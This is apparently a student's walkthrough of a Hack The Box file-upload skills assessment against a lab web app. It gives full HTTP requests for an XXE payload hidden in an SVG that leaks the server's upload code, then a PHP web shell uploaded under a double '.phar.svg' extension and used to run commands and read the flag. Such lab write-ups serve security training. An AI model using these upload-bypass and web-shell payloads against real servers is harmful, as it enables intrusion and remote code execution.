Skills Assessment - File Upload Attacks

Description:
You are contracted to perform a penetration test for a company's e-commerce web application. The web application is in its early stages, so you will only be testing any file upload forms you can find.

Try to utilize what you learned in this module to understand how the upload form works and how to bypass various validations in place (if any) to gain remote code execution on the back-end server.


TARGET: 154.57.164.73:32582

Challenge 1

Try to exploit the upload form to read the flag found at the root directory "/".
Hint: Try to fuzz for non-blacklisted extensions, and for allowed content-type headers. If you are unable to locate the uploaded files, try to read the source code to find the uploads directory and the naming scheme.

Discovery

Visit the page in a new browser tab:
image-40.png
Right away I note that the Contact Us page has an upload function:
image-41.png
I will upload the file I created during the module Type FiltersphpShell.jpg.phar, which uses double extension and contains a web shell:

GIF8
<?php system('cat /flag.txt'); ?>

Its MIME type imitates gif too. But I got this error message "Only images are allowed". I guess it only accepts the files that have certain MIME types.

Lets try to upload a real image (tux.png) file just to see how the request looks like:
image-42.png

This is how the request in Burp looks like:

POST /contact/upload.php HTTP/1.1
Host: 154.57.164.73:32582
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary235b98c1aae8919a1742663db3d459c5
Content-Length: 117673
Origin: http://154.57.164.73:32582
Connection: keep-alive
Referer: http://154.57.164.73:32582/contact/
Priority: u=0

------geckoformboundary235b98c1aae8919a1742663db3d459c5
Content-Disposition: form-data; name="uploadFile"; filename="tux.png"
Content-Type: image/png

PNG
...

Fuzz Content-Type header

Lets begin by fuzzing the Content-Type header, to see which types are allowed. For this I will use a bening file (tux.png).

Send the above request to Burp Intruder and select the Content-Type header value to add it as a position, for now I will set it as image/png. Then load the image-content-types.txt (from Type Filters#Content-Type) file as the payload and uncheck the URL-encode box.
image-44.png
The results are the following:
image-45.png

Here we note that there is a very interesting allowed Content-Type: image/svg+xml. Since embedding php code and setting a MIME type manually didn't seem to work as seen in #Discovery, I will choose SVG so that we don't really need to tweak the MIME type.

Attempt SVG injection (Limited File Uploads)

I will take anTux.svg file that you can get from: https://commons.wikimedia.org/wiki/File:Tux.svg

The first thing I will try is to modify this SVG image (Tux.svg) in a way that discloses the uploads directory:

┌──(macc㉿kaliLab)-[~/htb/file_upload]
└─$ nvim ~/Downloads/Tux.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

Use the previous request we used in Intruder and send it to Repeater. Then craft the following request using what we know so far (Content-Type: image/svg+xml):

POST /contact/upload.php HTTP/1.1
Host: 154.57.164.73:32582
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary235b98c1aae8919a1742663db3d459c5
Content-Length: 374
Origin: http://154.57.164.73:32582
Connection: keep-alive
Referer: http://154.57.164.73:32582/contact/
Priority: u=0

------geckoformboundary235b98c1aae8919a1742663db3d459c5
Content-Disposition: form-data; name="uploadFile"; filename="Tux.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
------geckoformboundary235b98c1aae8919a1742663db3d459c5--

Click Send to attempt the request:
image-46.png

Lets use the Burp integrated Decoder tab to decode our base64 string. Just go to Burp > Decoder > paste the whole base64 string and select Decode as Base64
image-47.png
Decoded result:

<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

Now I know the directory is ./user_feedback_submissions/ and also note it renames the filename to start with ymd_ (year|month|day).

Here is how ymd works:

$today = date("ymd"); // 260318

So for example the path would be:

/user_feedback_submissions/260318_filename.jpg.

Fuzz for an allowed PHP extension and insert webshell

Now that we know the actual upload directory and naming of the uploaded files, but most importantly, we know that uploading SVG files with XML content on them is allowed, we can proceed to find what PHP extensions are allowed so that our uploaded files are able to execute PHP code.

At this point, since we are looking to execute PHP code on an uploaded file I will insert a simple webshell script right after the uploads directory discovery XML code, so that the request content would look like:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_GET['cmd']); ?>

To fuzz for an allowed PHP extension, I will send this request to Intruder. On intruder I will add the .php extension at the end of Tux.svg (filename value) and Add a position there so that we can fuzz for allowed extensions.

Then on the right Payloads tab under Payload configuration, load the file extensions.lst that you can download from PHP. Also make sure to un-tick the URL Encoding option to avoid encoding the (.) before the file extension. After specifying the above we can click Start Attack
image-48.png
image-49.png

Instead of adding .php at the end of the filename, I will add them in between before the .svg extension. I am trying this because sometimes the application checks for the last extension of the filename and verifies it does not contain any PHP executable extension. So the request content would now look like:

------geckoformboundary235b98c1aae8919a1742663db3d459c5
Content-Disposition: form-data; name="uploadFile"; filename="Tux.php.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_GET['cmd']); ?>
------geckoformboundary235b98c1aae8919a1742663db3d459c5--

Now repeat the previous steps and add the payload position in .php to fuzz for PHP extensions. Here are the results:
image-50.png

I will use the .phar extension as it is one of the ones that returned valid responses (allowed the upload). Select this request, right click on it and send it to Repeater, on here we can just click Send to repeat the request.
image-51.png

Apply naming and read the flag

Since we already know the uploads directory and the potential name of our uploaded file, we can go ahead and verify PHP execution at this point by visiting:

http://154.57.164.73:32582/contact/user_feedback_submissions/260318_Tux.phar.svg?cmd=ls+/

Apart from verifying that our uploaded file can run commands, it also provided us with the actual name of the flag we are looking for:

flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt

Now we just need to craft the URL to read the flag file:

http://154.57.164.73:32582/contact/user_feedback_submissions/260318_Tux.phar.svg?cmd=cat+/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt

flag: HTB